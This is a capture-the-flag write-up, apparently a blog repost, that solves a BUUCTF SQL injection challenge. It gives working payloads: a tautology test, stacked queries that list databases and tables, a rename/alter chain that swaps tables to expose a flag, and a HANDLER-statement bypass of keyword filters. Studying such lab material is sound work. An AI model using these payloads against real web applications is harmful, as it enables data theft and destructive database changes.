BUUCTF-[Strong Tennis Cup 2019] Casual Bet

BUUCTF-[Strong Tennis Cup 2019] Casual Bet

topic

image-20230628102449190

answer

Open the shooting range and enter the shooting range environment

image-20230628102628845

Normally submitted data, information can be queried

image-20230628102648896

View source code:

found that sqlmap may not work

image-20230628110312634

back to range

Test to verify the presence of injection

?inject=1' 

image-20230628102746960

An error message appears

Use the master key to see if the data information can be exploded

?inject=1' or 1=1--+

image-20230628102850151

Successfully echoed, exposing the data information

The number of judgment fields

/?inject=1' order by 3--+

Enter 3 to report an error, replace 3 with 2, if no error is reported, it means that the table has 2 columns of fields

image-20230628103009930

After replacement:

image-20230628103100104

echo successfully

Judgment echo point

image-20230628103135718

It is found that the above keywords are filtered out, and the data cannot be queried.

Attempt stack injection:
In SQL, a semicolon (;) is used to indicate the end of a sql statement. We try to continue to construct the statement after the end, and observe whether it will be executed together. Stack injection can execute arbitrary statements.

/?inject=1';show databases;	查看全部数据库

image-20230628103247957

查看当前数据库的数据表
/?inject=1';show tables;

image-20230628103356203

查看表中有哪些字段
desc tablename或
show columns from table tablename

image-20230628103539631

Note: When the table name is a number, use `` reference, otherwise the information cannot be viewed normally

Check the field information of the table and find the flag, but we have no way to check the content of the flag, let's look at the data fields in the words table

image-20230628103725109

show columns from tablename 查询表中的字段信息(列的信息)

image-20230628103821583

Observation found that the data we found out may be the data in the words table. We can rename 1919810931114514the table to words, change the flag field to id, and then use the master key to explode the data.

First of all, it is normal to look up the data of the words table, we first rename the words table to something else, the name is arbitrary. Use rename to change the table name or alter

alter命令格式:
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

rename命令格式:rename table 原表名 to 新表名;

Secondly, 1919810931114514rename the table to words, and then change the flag field to id

Finally, use the master key to burst the table data

payload:
?inject=1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

image-20230628104717462

Looking at the datasheet again:

image-20230628104741736

It is found that the table name has been modified, and then use the master key to explode the data

?inject=1' or 1=1--+

image-20230628104825279

Successfully obtained the flag

The flag of this question is:

flag{
    
    a1a228e9-fc3d-4e3e-97c4-17ee692fedd5}

Method Two:

Use the handler function

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

When keywords such as selectet are filtered out, you can try to use this method to query

handler tablename open;打开表
handler tablename read firstnext;读取第一行或下一行
handler tablename close;关闭表

Usage of this question:

payload:
?inject=1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

image-20230628105705088

Successfully obtained the flag

Other methods can also be bypassed, such as encoding

If the article is inappropriate, criticism and correction are welcome!

Guess you like

Origin blog.csdn.net/rumil/article/details/131433119
Recommended